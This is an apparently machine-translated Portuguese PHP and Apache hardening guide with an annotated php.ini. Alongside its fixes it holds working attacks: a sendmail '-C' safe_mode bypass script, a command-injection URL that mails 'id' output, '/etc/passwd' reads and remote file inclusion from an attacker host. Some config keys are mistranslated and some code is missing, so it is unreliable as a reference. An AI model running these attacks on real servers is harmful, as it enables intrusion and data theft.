1. Segurança do servidor Web
PHP é na verdade apenas uma função de módulo do servidor Web, portanto, a segurança do servidor Web deve ser garantida primeiro. É claro que, para que um servidor web seja seguro, ele deve primeiro garantir a segurança do sistema, o que ainda está muito distante. PHP pode ser combinado com vários servidores web, e apenas o Apache será discutido aqui. É altamente recomendável instalar e iniciar o Apache no modo chroot. Desta forma, mesmo que haja vulnerabilidades no Apache, PHP e seus scripts, apenas o sistema restrito será afetado e não prejudicará o sistema real. No entanto, usar o Apache chroot também trará alguns problemas ao aplicativo. Por exemplo, ao conectar-se ao mysql, o endereço 127.0.0.1 deve ser usado para conectar usando tcp em vez de localhost para conexão de soquete, o que é um pouco menos eficiente. Também há um problema com a função mail enviando e-mails, porque no php.ini:
[função mail]
; Somente para Win32.
SMTP = localhost
; Somente para Win32.
sendmail_from [email protected]
é para a plataforma Win32, então sendmail precisa ser ajustado no ambiente chroot.
2. Problemas com o próprio PHP Administrador de rede u.bitscn@com
1. Estouro remoto
Todas as versões abaixo do PHP-4.1.2 apresentam vulnerabilidades de estouro de buffer remoto no upload de arquivos, e o programa de ataque tem sido amplamente divulgado, com uma taxa de sucesso muito alta
2
.. Negação de serviço remota
PHP-4.2.0 e PHP-4.2.1 têm uma vulnerabilidade remota no processamento de solicitações POST multipart/form-data do PHP. Embora as permissões do usuário local não possam ser obtidas, isso também pode causar uma negação de serviço.
3. A vulnerabilidade de bypass safe_mode
também existe no PHP-4.2.2 e abaixo do PHP-4.0.5 A função mail do PHP ignora a restrição safe_mode e executa comandos. A partir da versão 4.0.5, a função mail adiciona um quinto parâmetro. Devido ao design Se você não tomar cuidado, poderá romper as restrições do modo seguro e executar comandos. A inovação na versão 4.0.5 é muito simples. Basta separá-lo com um ponto e vírgula e adicionar o comando shell. Por exemplo, se houver um script PHP evil.php:
execute a seguinte URL:
http://foo. com/evil.php?bar =;/usr/bin/id [email protected]
Isso enviará o resultado da execução do id para [email protected] .
Para PHP de 4.0.6 a 4.2.2, romper a restrição safe_mode na verdade usa o parâmetro -C do sendmail, portanto o sistema deve usar o sendmail. O código a seguir pode quebrar as restrições do modo seguro e executar comandos:
#Observe que os dois seguintes não devem existir.
Ou seus proprietários são iguais aos proprietários deste script
$script="/tmp/script123";
$cf="/tmp/cf123";
$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Esparso = 0
R$*" .chr(9) . "$#local $@ $:
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);
$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);
mail("ninguém", "", "", "", "-C$cf");
?>
Os usuários que usam a versão problemática do PHP acima devem atualizar para a versão mais recente a tempo, de modo a eliminar problemas básicos de segurança.
3. A configuração de segurança do próprio PHP
A configuração do PHP é muito flexível. Ela pode ser definida através dos arquivos php.ini, httpd.conf, .htaccess (AllowOverride All ou Options deve ser definido neste diretório), e você também pode. use ini_set() no programa de script e outras funções específicas para definir. Cada valor da opção de configuração pode ser obtido através das funções phpinfo() e get_cfg_var().
Se a opção de configuração for o único atributo PHP_INI_SYSTEM, ela deverá ser modificada através de php.ini e httpd.conf Eles modificam o valor do PHP Master, mas após a modificação o apache deve ser reiniciado para ter efeito. As opções definidas em php.ini são efetivas para todos os scripts no servidor web, e as opções definidas em httpd.conf são efetivas para todos os scripts no diretório definido.
Se houver outras opções de atributos PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL, você pode usar o arquivo .htaccess para defini-los ou pode usar a função ini_set() no próprio script para defini-los. entrar em vigor imediatamente. No entanto, .htaccess só entra em vigor para o programa de script no diretório atual, e a função ini_set() só entra em vigor após definir a função ini_set() para o programa de script. Os atributos de opção de cada versão podem ser diferentes. Você pode usar o seguinte comando para encontrar o arquivo main.c do código-fonte atual para obter todas as opções e seus atributos:
# grep PHP_INI_ /PHP_SRC/main/main.c
Antes de discutir. Configuração de segurança do PHP, você deve ter um bom entendimento do modo safe_mode do PHP.
1. safe_mode
safe_mode é o único atributo PHP_INI_SYSTEM e deve ser definido através de php.ini ou httpd.conf. Para ativar o safe_mode, basta modificar o php.ini:
modo_seguro = ativado
Ou modifique httpd.conf e defina o diretório:
Opções FollowSymLinks
php_admin_value safe_mode 1
safe_mode entrará em vigor após reiniciar o apache. A ativação do safe_mode restringirá muitas funções do PHP, especialmente a abertura de arquivos relacionados ao sistema, a execução de comandos e outras funções.
Todas as funções que operam arquivos operarão apenas arquivos com o mesmo UID do script. Por exemplo, o conteúdo do script test.php é:
As propriedades de vários arquivos são as seguintes:
#ls-la
total 13
drwxr-xr-x 2 raiz raiz 104 20 de julho 01:25 .
drwxr-xr-x 16 raiz raiz 384 18 de julho 12:02 ..
-rw-r--r-- 1 raiz raiz 4110 26 de outubro de 2002 index.html
-rw-r--r-- 1 www-data www-data 41 19 de julho 19:14 test.php
Solicitar test.php no navegador exibirá a seguinte mensagem de erro:
Aviso: Restrição SAFE MODE em vigor O script cujo uid/gid é 33/33 não tem permissão para acessar ./index.html de propriedade de uid/gid 0/0. em /var/www/test.php na linha 1
Se o UID do diretório onde está localizado o arquivo manipulado for consistente com o UID do script, então o UID do arquivo poderá ser acessado mesmo que seja diferente do script. Gostaria de saber se isso é uma vulnerabilidade no PHP ou se. há outra razão oculta. Portanto, é melhor para o usuário proprietário do script php usá-lo apenas para esta finalidade. É absolutamente proibido usar root como proprietário do script php. Isso não alcançará o efeito do modo seguro.
Se você quiser relaxar para a comparação de GID, você pode considerar apenas comparar o GID do arquivo ativando safe_mode_gid. Você pode definir as seguintes opções:
safe_mode_gid = On.
Todos os comandos executados serão restritos apenas às funções. especificado em safe_mode_exec_dir em programas php.ini no diretório, e shell_exec e `ls -l` serão proibidos de executar comandos. Se você realmente precisar chamar outros programas, você pode fazer as seguintes configurações no php.ini:
safe_mode_exec_dir = /usr/local/php/exec
e então copiar o programa para este diretório, então o script php pode usar o sistema e outras funções para execute o programa. Além disso, os scripts shell neste diretório ainda podem chamar comandos do sistema em outros diretórios.
safe_mode_include_dir string
Substitui verificações UID/GID ao incluir arquivos deste diretório e seus subdiretórios (os diretórios devem estar em include_path ou incluídos com caminhos completos).
A partir do PHP 4.2.0, esta diretiva pode aceitar caminhos delimitados por ponto e vírgula em um estilo semelhante à diretiva include_path, em vez de apenas um diretório.
O limite especificado é na verdade um prefixo, não um nome de diretório. Isso significa que "safe_mode_include_dir = /dir/incl" permitirá acesso a "/dir/include" e "/dir/incls" se eles existirem. Se desejar restringir o acesso a um diretório específico, adicione uma barra final, por exemplo: "safe_mode_include_dir = /dir/incl/".
safe_mode_allowed_env_vars string
A configuração de certas variáveis de ambiente pode ser uma possível falha de segurança. Esta diretiva contém uma lista de prefixos separados por vírgulas. No modo de segurança, os usuários só podem alterar variáveis de ambiente cujos nomes tenham o prefixo fornecido aqui. Por padrão, os usuários só podem definir variáveis de ambiente começando com PHP_ (por exemplo, PHP_FOO = BAR).
Nota: Se esta diretiva estiver vazia, o PHP permitirá ao usuário modificar qualquer variável de ambiente!
safe_mode_protected_env_vars string
Esta diretiva contém uma lista separada por vírgulas de variáveis de ambiente que o usuário final não pode alterar usando putenv(). Essas variáveis não podem ser alteradas mesmo quando a modificação permitida está definida em safe_mode_allowed_env_vars.
Embora safe_mode não seja uma panacéia (versões inferiores do PHP podem ser contornadas), ainda é altamente recomendável ativar o modo de segurança, que pode evitar alguns ataques desconhecidos até certo ponto. Porém, habilitar o safe_mode terá muitas restrições, que podem afetar a aplicação, portanto o código e a configuração precisam ser ajustados para alcançar a harmonia. Para funções restritas ou bloqueadas pelo modo de segurança, consulte o manual do PHP.
Depois de discutir o safe_mode, vamos discutir como evitar vulnerabilidades através da configuração do servidor PHP com base em problemas reais que podem surgir no código do programa.
2. Abuso de variáveis
O padrão do PHP é register_globals = On. Variáveis para GET, POST, Cookie, Environment e Session podem ser registradas diretamente como variáveis globais. A ordem de registro é variáveis_order = "EGPCS" (pode ser modificada através do php.ini. O lado direito de variáveis_order com o mesmo nome cobre o lado esquerdo, portanto, o abuso de variáveis pode facilmente causar confusão no programa). Além disso, os programadores de scripts muitas vezes não têm o hábito de inicializar variáveis. Fragmentos de programas como os seguintes são extremamente vulneráveis a ataques:
//teste_1.php
if ($pass == "olá")
$auth = 1;
se ($auth == 1)
echo "algumas informações importantes";
outro
echo "nada";
?>
O invasor pode ignorar a verificação simplesmente usando a seguinte solicitação:
http://victim/test_1.php?auth=1
Embora este seja um erro muito fraco, alguns programas famosos também cometeram esse erro. Por exemplo, o controle remoto do phpnuke. vulnerabilidade de cópia de arquivo: http://www.securityfocus.com/bid/3361
Quando o PHP-4.1.0 foi lançado, foi recomendado desligar Register_globals e fornecer 7 variáveis de array especiais para usar várias variáveis. Variáveis de GET, POST, COOKIE, etc. não são registradas diretamente como variáveis e devem ser acessadas através de variáveis array. Quando o PHP-4.2.0 foi lançado, a configuração padrão do php.ini era register_globals = Off. Isso permite que o programa utilize o valor padrão inicializado pelo próprio PHP, que geralmente é 0, evitando que invasores controlem as variáveis de julgamento.
Solução:
Defina register_globals = Off no arquivo de configuração php.ini.
O programador é obrigado a inicializar um valor para a variável de julgamento no início do programa.
3. O arquivo abre
um trecho de código extremamente vulnerável:
//test_2.php
if (!($str = readfile("$nome do arquivo"))) {
echo("Não foi possível abrir o arquivo: $nomedoarquivo
n");
saída;
}
outro {
eco $str;
}
?>
Como o invasor pode especificar qualquer $filename, o invasor pode ver /etc/passwd com a seguinte solicitação:
http://victim/test_2.php?filename=/etc/passwd
A solicitação a seguir pode ler o próprio arquivo php:
http://victim/test_2.php?filename=test_2.php
As funções de abertura de arquivo em PHP incluem fopen(), file(), etc. Se a variável de nome do arquivo não for verificada estritamente, arquivos importantes no servidor serão acessados e leia.
Solução:
A menos que seja necessário, limite as operações do arquivo PHP ao diretório da web. A seguir está um exemplo de modificação do arquivo de configuração do Apache httpd.conf:
php_admin_value open_basedir /usr/local/apache/htdocs
Após reiniciar o apache, o script PHP no diretório /usr/local/apache/htdocs só pode operar arquivos em seu próprio diretório, caso contrário o PHP reportará um erro:
Aviso: restrição open_basedir em vigor
O arquivo está no diretório errado em xxx on-line
.xx.
Usar o modo safe_mode também pode evitar esse problema, que foi discutido anteriormente.
4. Contém arquivos
com trechos de código extremamente vulneráveis:
//test_3.php
if(arquivo_existe($nomedoarquivo))
include("$nome do arquivo");
?>
Este tipo de código irresponsável causará danos consideráveis. Um invasor pode obter o arquivo /etc/passwd usando a seguinte solicitação:
http://victim/test_3.php?filename=/etc/passwd
Se for para a versão Unix do PHP ( A versão Win do PHP não suporta abertura remota de arquivos. O invasor pode criar um arquivo contendo comandos shell na máquina onde abriu o serviço http ou ftp. Por exemplo, o conteúdo de http://attack/attack.txt. é, então a seguinte solicitação Você pode executar o comando ls /etc no host de destino:
http://victim/test_3.php?filename=http://attack/attack.txt
O invasor pode até usar o access.log e Arquivos de log error.log contendo apache para O código para executar o comando é obtido, mas às vezes não é fácil de obter sucesso devido ao excesso de informações de interferência.
Para outro formulário, o seguinte trecho de código:
//test_4.php
include("$lib/config.php");
?>
O invasor pode criar um arquivo config.php contendo o código de execução do comando em seu próprio host e, em seguida, usar a seguinte solicitação para executar o comando no host de destino:
http://victim/test_4.php?lib=http://attack
As funções incluídas no PHP incluem include(), include_once(), require(), require_once. Se a variável que contém o nome do arquivo não for verificada rigorosamente, causará sério perigo ao sistema e o comando poderá ser executado remotamente.
Solução:
Os programadores são obrigados a tentar não usar variáveis ao incluir parâmetros em arquivos. Se variáveis forem usadas, os nomes dos arquivos a serem incluídos devem ser rigorosamente verificados e não devem ser especificados arbitrariamente pelo usuário.
Por exemplo, limitar o caminho de operação do PHP na abertura anterior do arquivo é uma opção necessária. Além disso, a menos que seja necessário de outra forma, certifique-se de desligar a função de abertura remota de arquivos do PHP. Modifique o arquivo php.ini:
allow_url_fopen = Off
Reinicie o apache
[PHP]
; PHP ainda é uma ferramenta em evolução e seus recursos são constantemente removidos.
; E as alterações nas configurações do php.ini podem refletir mudanças consideráveis,
; Antes de usar uma nova versão do PHP, seria benéfico estudar o php.ini
;;;;;;;;;;;;;;;;;;;;;;
;Sobre este documento;
;;;;;;;;;;;;;;;;;;;;
Este arquivo controla muitos aspectos da visualização do PHP.
; 'php.ini'.PHP irá procurar o arquivo nestes locais: o diretório de trabalho atual PHPRC;
; O caminho especificado; o caminho especificado durante a compilação.
; No Windows, o caminho durante a compilação é o diretório de instalação do Windows.
; No modo de linha de comando, o caminho de pesquisa para php.ini pode ser substituído pelo parâmetro -c
; A sintaxe deste arquivo é muito simples.
; igual ao adivinhado). Os títulos dos capítulos (por exemplo: [Foo]) também são simplesmente ignorados, embora no futuro possam ser ignorados.
; tem algum significado.
;
; as diretivas são especificadas usando a seguinte sintaxe:
; identificador do indicador = valor
; diretiva = valor
; Indica que o identificador *diferencia maiúsculas de minúsculas* - foo=bar é diferente de FOO = bar.
;
; O valor pode ser uma string, um número, uma constante PHP (como: E_ALL ou M_PI), constante INI
; A (Ativado, Desativado, Verdadeiro, Falso, Sim, Não e Nenhum) ou uma expressão
; (por exemplo: E_ALL & ~E_NOTICE), ou uma string entre aspas ("foo").
;
; As expressões em arquivos INI são restritas a operadores bit a bit e parênteses.
; |
; & bit a bit E
; ~ bit a bit NÃO
; booleano NÃO
;
; Os sinalizadores booleanos podem ser ativados com os valores 1, On, True ou Yes.
; Eles podem ser desativados com os valores 0, Desativado, Falso ou Não.
;
; Uma string vazia pode ser representada escrevendo nada após o sinal de igual ou usando a palavra-chave None:
;
; foo = ; Defina foo como uma string vazia
; foo = none ;
; foo = "none" ; Defina foo como a string 'none'
;
; Se você usar constantes nas configurações de valor, e essas constantes pertencerem a bibliotecas de extensão carregadas dinamicamente (não a extensões PHP, isto é,
; extensões Zend), você só pode usar essas constantes *após* as linhas que chamam essas extensões.
;
; Todos os valores definidos no arquivo php.ini-dist são iguais aos valores padrão integrados (ou seja, se php.ini
; não é usado ou você excluiu essas linhas, o valor padrão é o mesmo
;;;;;;;;;;;;;;;;;;;;;
;Opções de idioma;
;;;;;;;;;;;;;;;;;;;;;;
motor = ligado
; Disponibilize o mecanismo de linguagem de script PHP no Apache.
short_open_tag=Ativado
; Permite a tag <? (esta representação simples). Somente as tags <?php e <script> serão reconhecidas.
asp_tags=Desligado
; Permitir tags <% %> estilo ASP
precisão=14
; O número de dígitos efetivos ao exibir números do tipo ponto flutuante
y2k_compliance = Off
; Se deve ativar a adaptação ao Y2K (pode causar problemas em navegadores não adaptáveis ao Y2K)
output_buffering = Off
; O cache de saída permite enviar linhas de cabeçalho (incluindo cookies) mesmo após a saída do conteúdo do corpo.
; O custo é que a camada de saída fica um pouco mais lenta. Você pode usar o cache de saída para ativar o cache de saída em tempo de execução.
; Ou ative a diretiva aqui para ativar o cache de saída para todos os arquivos.
output_handler = ; Você pode redirecionar toda a saída do seu script para uma função,
; Isso pode ser útil para processá-lo ou registrá-lo.
; Por exemplo, se você definir este output_handler como "ob_gzhandler",
; a saída será compactada de forma transparente para navegadores que suportam codificação gzip ou deflate.
; Defina um processador de saída para abrir automaticamente o buffer de saída.
implicit_flush = Desativado
; Force flush para dizer ao PHP para informar à camada de saída para atualizar automaticamente seus próprios dados após cada bloco de saída.
; Isso é equivalente a chamar a função flush() após cada chamada print() ou echo() e após cada bloco HTML.
; Ativar esta configuração causará sérios conflitos de tempo de execução. É recomendado ativá-la apenas durante a depuração
.
; Se deve forçar chamadas de função a passar parâmetros por referência. Este método foi protestado.
; e pode não ser mais suportado em versões futuras do PHP/Zend.
; É recomendável especificar quais parâmetros são passados por referência na declaração da função.
; Recomendamos que você tente desativar esta opção e verifique se seus scripts ainda funcionam corretamente, para garantir versões futuras da linguagem.
; Eles ainda funcionarão (você receberá um aviso sempre que usar esse recurso e os parâmetros serão por valor e não por referência.
; Passar).
;
modo_seguro=Desligado
modo_seguro_exec_dir =
safe_mode_allowed_env_vars = PHP_
? Configurando determinadas variáveis de ambiente
? pode ser uma possível violação de segurança.
; Esta diretiva contém uma lista de prefixos separados por vírgula. No modo de segurança, os usuários só podem substituir
os valores das variáveis de ambiente que começam com os prefixos listados aqui.
; Por padrão, os usuários só poderão definir variáveis de ambiente começando com PHP_ (ex.: PHP_FOO=BAR).
; NOTA: Se esta diretiva estiver vazia, o PHP permitirá que o usuário altere quaisquer variáveis de ambiente
!
; Esta diretiva contém uma lista separada por vírgulas de variáveis de ambiente que o usuário final não poderá alterar usando putenv().
; Essas variáveis são protegidas mesmo quando safe_mode_allowed_env_vars está definido como
enabled_functions =
.
; Esta diretiva permite desabilitar funções específicas por motivos de segurança.
; Aceita uma lista de nomes de funções separados por vírgula.
; Esta instrução *não* é afetada pelo fato de o modo de segurança estar ativado
;
???
> irá funcionar.
destaque.comentário = #FF8000
destaque.keyword = #007700
destaque.bg = #FFFFFF
destaque.default = #0000BB
destaque.html = #000000
; Diversos Diversos
expor_php = Desativado
; Determina se o PHP deve indicar o fato de estar instalado no servidor (por exemplo, adicioná-lo - PHP - ao serviço web
; no sinal enviado).
; (Minha opinião pessoal é desligar isso quando qualquer cabeçalho de inicialização aparecer.)
; Não representa nenhuma ameaça à segurança, mas permite verificar se o PHP está instalado no seu servidor.
;;;;;;;;;;;;;;;;;;;;;;
Limites de Recursos;
;;;;;;;;;;;;;;;;;;;;
max_execution_time = 30 ;
memory_limit = 8388608; A quantidade máxima de memória que pode ser usada por um script (aqui é 8MB)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Tratamento e registro de erros;
; Controle e registro de erros;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; O relatório de erros é bit a bit ou adicione os números para obter o nível de relatório de erros desejado.
; E_ALL - todos os erros e avisos
; E_ERROR - erro fatal em tempo de execução
; E_WARNING - aviso de tempo de execução (erro não fatal)
; E_PARSE - erro de análise em tempo de compilação
; E_NOTICE - lembretes de tempo de execução (geralmente causados por bugs no seu código,
; Também pode ser causado por comportamento intencional (por exemplo: usar uma variável não inicializada com base no
fato de que a variável não inicializada é automaticamente inicializada para uma string vazia)
; E_CORE_ERROR - erro fatal que ocorre durante o processo de inicialização quando o PHP é iniciado.
; E_CORE_WARNING - um aviso (erro não fatal) que ocorre durante o processo de inicialização quando o PHP inicia
; E_COMPILE_ERROR - erro fatal em tempo de compilação
; E_COMPILE_WARNING – aviso em tempo de compilação (erro não fatal)
; E_USER_ERROR - mensagem de erro gerada pelo usuário
; E_USER_WARNING - mensagem de aviso gerada pelo usuário
; E_USER_NOTICE - mensagem de lembrete gerada pelo usuário
; exemplo:
; error_reporting = E_ALL & ~E_NOTICE ;
; error_reporting = E_COMPILE_ERROR|E_ERROR|E_CORE_ERROR ;
error_reporting = E_ALL & ~E_NOTICE ;
display_errors = On ; exibe mensagens de erro (como parte da saída)
; No site final publicado, é altamente recomendável que você desative esse recurso e use-o.
; log de erros (veja abaixo).
; É possível continuar habilitando display_errors no site final publicado
; Exponha algumas informações relacionadas à segurança, como caminhos de arquivos em seu serviço web,
; Configuração do seu banco de dados ou outras informações
display_startup_errors = Off ;
; erros não serão exibidos.
; É altamente recomendável manter display_startup_errors desligado,
; Exceto durante o processo de correção de erros.
log_errors = Off ; Registra erros no arquivo de log (log específico do servidor, saída de erro padrão stderr ou error_log (abaixo))
; Conforme declarado acima, é altamente recomendável que você registre erros no site final publicado.
; Substitua a saída de erro direta.
track_errors = Off ; Salve a última mensagem de erro/aviso na variável $php_errormsg (booleano)
;error_prepend_string = "<font color=ff0000>" ;
;error_append_string = "</font>" ; A saída da string após a mensagem de erro
;error_log = filename ; Registra o log de erros no arquivo especificado;
;error_log = syslog ; Registra o log de erros no syslog do log do sistema (log de eventos no NT, inválido no Windows 95)
warning_plus_overloading = Off ; Avisar ao usar '+' com strings
;;;;;;;;;;;;;;;;;;;
Tratamento de Dados;
;;;;;;;;;;;;;;;;;;; variáveis_order = "EGPCS" ;
; A ordem das variáveis GET, POST, Cookie, Environment e Built-in.
; (representado por G, P, C, E & S, geralmente referenciado como EGPCS ou GPC).
; Registros da esquerda para a direita, novos valores substituem valores antigos.
Register_globals = On ;
; Você pode querer desativar isso se não quiser que os dados do usuário fiquem desordenados globalmente.
; Isso faz mais sentido em conjunto com track_vars - dessa forma você pode passar
; $HTTP_*_VARS[] array acessa todas as variáveis GPC
register_argc_argv = On ;
; (Nota: aqui argv é um array e argc é o número de variáveis)
; (que contém dados passados usando o método GET).
; Se você não quiser usar essas variáveis, você deve desativá-las para melhorar o desempenho.
track_vars = On ; Torne o array $HTTP_*_VARS[] válido, aqui * é usado ao usar;
; substituição de ENV, POST, GET, COOKIE ou SERVER
post_max_size = 8M ; Tamanho máximo dos dados POST que o PHP aceitará.
gpc_order = "GPC" ; Esta diretiva está obsoleta
.
magic_quotes_gpc = On ; Use aspas mágicas nos dados de entrada GET/POST/Cookie
; (O texto original é assim, haha, as chamadas aspas mágicas devem se referir ao uso de caracteres de escape para adicionar caracteres de controle de referência, como '....)
magic_quotes_runtime= Off ; Use aspas mágicas para dados gerados em tempo de execução,
; Por exemplo: dados obtidos por consulta SQL, dados obtidos pela função exec(), etc.
magic_quotes_sybase = Off ; Use aspas mágicas no estilo Sybase (use 'extract' em vez de '')
;
auto_prepend_file =
auto_append_file =
; Como 4.04b4, o PHP por padrão sempre exibe a codificação de um caractere no cabeçalho "Content-type:".
; Desativa o conjunto de caracteres de saída, desde que esteja definido como vazio.
; O padrão interno do PHP é text/html
default_mimetype = "texto/html"
;default_charset = "iso-8859-1"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Caminhos e diretórios;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include_path = ; inclui configuração de caminho, UNIX: "/path1:/path2" Windows: "path1;path2"
doc_root = ; O caminho raiz da página php, válido apenas quando não está vazio.
Informa ao php qual diretório procurar ao abrir o script usando /~username.
;upload_tmp_dir = ; Diretório temporário para armazenar arquivos enviados usando o protocolo HTTP (use o padrão do sistema se não for especificado)
upload_max_filesize = 2097152; O upload do arquivo é limitado a 2 MB por padrão
extension_dir = c:php ; diretório onde as bibliotecas de extensão carregáveis (módulos) são armazenadas
enable_dl = On ; Se deve ativar dl().
; A função dl() *não* funciona bem em um servidor multithread,
; como IIS ou Zeus, e desabilitados por padrão neles
;;;;;;;;;;;;;;;;;;;
; Uploads de arquivos ;
;;;;;;;;;;;;;;;;;;;
file_uploads = Ativado; Se deseja permitir uploads de arquivos HTTP
;upload_tmp_dir = ; Diretório temporário para arquivos enviados via HTTP (o padrão do sistema é usado se não for especificado)
upload_max_filesize = 2M; Tamanho máximo permitido de arquivos enviados
;
;;;;;;;;;;;;;;;;;;;;;
permitir_url_fopen = On ; Se permitir que URLs sejam tratados como http:.. ou arquivos como ftp:...
;;;;;;;;;;;;;;;;;;;;;;;;
;Expansão dinâmica;
; Extensões Dinâmicas ;
;;;;;;;;;;;;;;;;;;;;;;;;
; Se você deseja que uma biblioteca de extensão seja carregada automaticamente, use a seguinte sintaxe:
;extensão=nomedomódulo.extensão
; Por exemplo, no Windows,
;extensão=msql.dll
; ou no UNIX,
; extensão=msql.so
; Observe que este deve ser apenas o nome do módulo, não há necessidade de colocar informações de diretório nele.
; Use o extension_dir acima para indicar a localização da biblioteca de extensão especificada.
;Extensão do Windows
;extensão=php_nsmail.dll
extensão=php_calendar.dll
;extensão=php_dbase.dll
;extensão=php_filepro.dll
extensão=php_gd.dll
;extensão=php_dbm.dll
;extensão=php_mssql.dll
;extensão=php_zlib.dll
;extensão=php_filepro.dll
;extensão=php_imap4r2.dll
;extensão=php_ldap.dll
;extensão=php_crypt.dll
;extensão=php_msql2.dll
;extensão=php_odbc.dll
; Observe que o suporte ao MySQL agora está integrado, portanto não há necessidade de usar sua dll
;;;;;;;;;;;;;;;;;;;;;
; Configurações do módulo;
; Configurações do Módulo ;
;;;;;;;;;;;;;;;;;;;;;
define_syslog_variables = Desativado Se várias variáveis de log do sistema devem ser definidas;
; Como: $LOG_PID, $LOG_CRON, etc.
; Desligá-lo é uma boa ideia para melhorar a eficiência.
; Em tempo de execução, você pode chamar a função define_syslog_variables() para definir essas variáveis
[função mail]
SMTP = localhost apenas para sistemas win32;
sendmail_from [email protected] apenas para sistemas win32;
;sendmail_path = ;somente para unix, também suporta parâmetros (o padrão é 'sendmail -t -i')
[Debugger]
depurador.host = localhost
depurador.port = 7869
debugger.enabled = Falso
[Registro]
; Essas configurações indicam o mecanismo de registro usado para os exemplos.
; Veja exemplos/README.logging para mais explicações
;logging.method = banco de dados
;logging.directory = /caminho/para/log/diretório
[Java]
;java.class.path=.php_java.jar
;java.home = c:jdk
;java.library = c:jdkjrebinhotspotjvm.dll
;java.library.path = .
[SQL]
sql.safe_mode = Desativado
[ODBC]
;uodbc.default_db = Ainda não implementado
;uodbc.default_user = Ainda não implementado
;uodbc.default_pw = Ainda não implementado
uodbc.allow_persistent=On; Permitir ou desabilitar conexões persistentes
uodbc.check_persistent = On ; Verifique se a conexão ainda está disponível antes de reutilizá-la.
uodbc.max_persistent = -1; Número máximo de conexões persistentes -1 significa ilimitado.
uodbc.max_links = -1; O número máximo de conexões (persistentes e não persistentes -1 representa gerenciamento de rede ilimitado u.bitsCN.com).
uodbc.defaultlrl = 4096; Controla campos do tipo LONG Retorna o número de bytes da variável, 0 significa passthru (?) 0 significa passthru.
uodbc.defaultbinmode = 1; Controlar dados binários 0 representa ???Manipulação de dados binários.
; Consulte a documentação de odbc_binmode e odbc_longreadlen para obter uma explicação sobre uodbc.defaultlrl e uodbc.defaultbinmode
[MySQL]
.
mysql.allow_persistent = On ; Permitir ou desabilitar conexões persistentes
mysql.max_persistent = -1; Número máximo de conexões persistentes -1 significa ilimitado.
mysql.max_links = -1; Número máximo de conexões (persistente e não persistente -1 significa ilimitado).
mysql.default_port = ; A porta padrão usada por mysql_connect().
; usará a variável $MYSQL_TCP_PORT ou a entrada mysql-tcp em /etc/services (unix),
; Ou MYSQL_PORT é definido durante a compilação (nesta ordem)
; Ambiente Win32, apenas MYSQL_PORT será verificado.
mysql.default_socket = ; O nome do soquete padrão usado para conexões locais do MySQL. Se estiver vazio, use o valor interno do MYSQL
mysql.default_host
= ;
mysql_connect() Nome de usuário usado por padrão (inválido em modo de segurança)
mysql.default_password = ; A senha usada por mysql_connect() por padrão (inválida no modo de segurança)
; Observe que salvar senhas neste arquivo geralmente é uma ideia *má*.
; *Qualquer* usuário com acesso ao PHP pode executar
; 'echo cfg_get_var("mysql.default_password")' para exibir essa senha!
; E claro, qualquer usuário com direitos de leitura no arquivo também poderá ver essa senha
[mSQL]
.
msql.allow_persistent = On ; Permitir ou desabilitar conexões persistentes
msql.max_persistent = -1; Número máximo de conexões persistentes -1 significa ilimitado.
msql.max_links = -1 ; Número máximo de conexões (persistentes e não persistentes -1 significa ilimitado
[PostgresSQL]
).
pgsql.allow_persistent = On ; Permitir ou desabilitar conexões persistentes
pgsql.max_persistent = -1; Número máximo de conexões persistentes -1 significa ilimitado.
pgsql.max_links = -1; Número máximo de conexões (persistentes e não persistentes -1 significa ilimitado
[Sybase]
).
sybase.allow_persistent = Ativado; Permitir ou desativar conexões persistentes
sybase.max_persistent = -1;
sybase.max_links = -1; Número máximo de conexões (persistente e não persistente -1 significa ilimitado).
;sybase.interface_file = "/usr/sybase/interfaces"
sybase.min_error_severity = 10 ; Gravidade mínima dos erros exibidos
sybase.min_message_severity = 10 ;
sybase.compatability_mode = Off ; Modo de compatibilidade com versões mais antigas do PHP 3.0. Se ativado, isso fará com que o PHP seja ativado automaticamente.
; Atribua a eles o tipo Sybase de acordo com o resultado,
; Em vez de tratá-los todos como strings.
; Este modo de compatibilidade não durará para sempre,
; Portanto, faça as alterações necessárias em seu código,
; e feche o item
[Sybase-CT]
sybct.allow_persistent=On; Permitir ou desabilitar conexões persistentes
sybct.max_persistent = -1; Número máximo de conexões persistentes -1 significa ilimitado.
sybct.max_links = -1; Número máximo de conexões (persistente e não persistente -1 significa ilimitado).
sybct.min_server_severity = 10 ; Gravidade mínima dos erros exibidos
sybct.min_client_severity = 10 ; Gravidade mínima das mensagens exibidas
[bcmath]
bcmath.scale = 0; número de dígitos decimais para todas as funções bcmath
[browscap]
;browscap = extra/browscap.ini
browscap = C:WINSYSTEMinetsrvbrowscap.ini
[Informix]
ifx.default_host = ; O host usado por ifx_connect() por padrão (inválido no modo de segurança)
ifx.default_user = ; O nome de usuário padrão usado por ifx_connect() (inválido no modo de segurança)
ifx.default_password = ; a senha padrão usada por ifx_connect() (inválida no modo de segurança)
ifx.allow_persistent = On ; Permitir ou desabilitar conexões persistentes
ifx.max_persistent = -1; Número máximo de conexões persistentes -1 significa ilimitado.
ifx.max_links = -1 ; Número máximo de conexões (persistente e não persistente -1 significa ilimitado).
ifx.textasvarchar = 0 ; Se ativado, o símbolo de status de seleção retorna o conteúdo de um campo 'blob de texto' em vez de seu id.
ifx.byteasvarchar = 0 ; Se ativado, o símbolo de status de seleção retorna o conteúdo de um campo 'byte blob' em vez de seu id.
ifx.charasvarchar = 0 ; Rastreia os espaços em branco removidos de uma sequência de caracteres de comprimento fixo.
; Pode ser válido para usuários do Informix SE.
ifx.blobinfile = 0 ; Se ativado, o conteúdo dos blobs de texto e bytes será exportado para um arquivo.
; em vez de salvar na memória.
ifx.nullformat = 0 ; NULL é retornado como um campo nulo, a menos que, aqui, seja definido como 1.
; Neste caso (1), NULL é retornado como a string NULL
.
session.save_handler = método de controle de arquivos para salvar/recuperar dados;
session.save_path = C:wintemp; Parâmetros passados para o controlador quando save_handler é definido como um arquivo,
; Este é o caminho onde os arquivos de dados serão salvos.
session.use_cookies = 1;
sessão.nome = PHPSESSID
; O nome da sessão a ser usada no cookie
